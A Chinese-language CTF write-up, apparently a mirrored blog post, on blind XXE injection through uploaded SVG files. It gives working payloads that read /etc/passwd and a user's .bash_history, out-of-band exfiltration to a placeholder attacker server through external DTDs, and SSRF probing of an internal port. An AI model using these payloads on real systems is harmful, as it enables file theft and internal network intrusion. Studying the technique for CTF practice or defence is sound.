zoukankan      html  css  js  c++  java
  • Blind XXE

    0x00:介绍

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
    xxe漏洞触发的点往往是可以上传XML文件约位置,没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件。
     
    最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

    Blind XXE

    如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
    所以,在没有回显的情况下如何来利用XXE
    无回显,但是又是XXE,我们又自然地想到了XXE盲打,也就是通过加载外部一个dtd/xml文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。

    思路:
    1. 客户端发送payload 1给web服务器
    2. web服务器向vps获取恶意DTD,并执行文件读取payload2
    3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
    4. 通过VPS获得回显(nc监听端口)

    0x01:一次Blind XXECTF

    题目要求输入一个 svg图片的链接

    • SVG 指可伸缩矢量图形 (Scalable Vector Graphics)
    • SVG 用来定义用于网络的基于矢量的图形
    • SVG 使用 XML 格式定义图形
    • SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失
    • SVG 是万维网联盟的标准
    • SVG 与诸如 DOM 和 XSL 之类的 W3C 标准是一个整体

    由于SVG是基于XML的矢量图,因此可以支持Entity(实体)功能。

    测试代码,一个自己服务器上的1.svg

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE testingxxe [ <!ENTITY xml "POC for Static Entities Allowed">]>
    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="20" y="50" width="100" height="100" font-size="10">&xml;</text>
    </svg>

    可以看到我们提交的实体,已经被执行

     尝试一下直接读取文件

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE testingxxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="0" y="20" font-size="10">&xxe;</text>
    </svg>

    没有任何回显,所以考虑 Blind XXE

    0x02:Blind XXE 

    Blind xxe实现文件读取

    <!DOCTYPE svg [
    <!ELEMENT svg ANY >
    <!ENTITY % sp SYSTEM "http://**server IP**/xxe2.xml">
    %sp;
    %param1;
    ]>
    <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
          <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
          <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
          <flowRoot font-size="15">
             <flowRegion>
               <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
             </flowRegion>
             <flowDiv>
                <flowPara>&exfil;</flowPara>
             </flowDiv>
          </flowRoot>
    </svg>

    远程个人服务器上的 xxe2.xml

    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/home/r1ck/.bash_history">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://**server ip **/%data;'>">

    服务器

    python -m SimpleHTTPServer 端口号

    就可以监听http请求了

    Blind xxe 配合SSRF实现内网探测

    <!DOCTYPE svg [
    <!ELEMENT svg ANY >
    <!ENTITY % sp SYSTEM "http://**server ip**/xxe3.xml">
    %sp;
    %param1;
    ]>
    <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
          <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
          <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
          <flowRoot font-size="15">
             <flowRegion>
               <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
             </flowRegion>
             <flowDiv>
                <flowPara>&exfil;</flowPara>
             </flowDiv>
          </flowRoot>
    </svg>

    远程个人服务器上的 xxe3.xml

    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://**server ip**/%data;'>">

    只要目标主机8080上有服务,个人服务器上 http监听,就能有回显结果

    其他人的payload:

    entity.svg

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE fortiguard [ 
    <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
    <!ENTITY % dtd SYSTEM "http://**server ip**/1.dtd">
    %dtd;
    %send;
    ]>
    <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
            <text y="20" font-size="20">&lab;</text>
    </svg>

    远程server上的1.dtd

    <!ENTITY % all
            "<!ENTITY &#x25; send SYSTEM 'http://IP:端口/?%file;'>"
    >
    %all;

    Finished!

  • 相关阅读:
    javascript异步编程学习及实例
    通过调试vue-cli 构建代码学习vue项目构建运行过程
    web技术栈开发原生应用-多端共用一套代码
    vuejs应用开发前后端分离
    web前端跨域解决方案JSONP,CORS,NGINX反向代理
    js script 加载顺序
    js 百度地图
    layui-table 样式
    css 排版 test
    layui table
  • 原文地址:https://www.cnblogs.com/liqik/p/13140229.html
Copyright © 2011-2022 走看看